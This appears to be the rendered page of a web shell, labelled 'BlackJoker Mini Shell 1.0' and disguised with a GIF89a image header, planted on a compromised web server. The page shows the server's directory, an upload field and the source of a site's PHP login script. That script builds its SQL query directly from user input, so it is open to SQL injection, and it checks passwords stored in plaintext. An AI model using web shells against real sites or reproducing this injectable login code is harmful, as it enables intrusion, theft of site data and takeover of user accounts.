GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/bannerlogin-process.php

<?
  session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 if($_POST)
  {
	  $qur="SELECT * FROM user_info WHERE (username='".$_POST['username']."' or email='".$_POST['username']."') AND password='".$_POST['passWord']."'" ;
	  $res=execute_query($qur);
	  $row=mysql_fetch_array($res);
	 // echo $row['user_status'];
	  $num=mysql_num_rows($res);
	  if($num>0)
	  {
		if($row['status']=='a')
		{
			$_SESSION['userlogin']="true";
			$_SESSION['userid']=$row['userid'];  
			$_SESSION['user']=$row['username'];
			$_SESSION['acctype']=$row['user_type'];
			$_SESSION['islogin']='yes';
			
			$date=date('Y-m-d');
			
				?>
			<script language="javascript">
			 
				location.href="advertise-banner.php";
				
			</script>   
			<? 
			
		}
		else
		{
		?>
		<script language="javascript">
			alert('Your Account is not Activate. Check Your E-mail to activate your Account');
            location.href="home.php";
        </script>   
    	<? 
		}
	  }
	  else
	  {
	 ?>
             <script language="javascript">
			 	alert('You are not a registered member. Join to Escortservice.org');
            	location.href="join.php";
        	 </script> 
      <?
	  }
  }
?>

./BlackJoker Mini Shell 1.0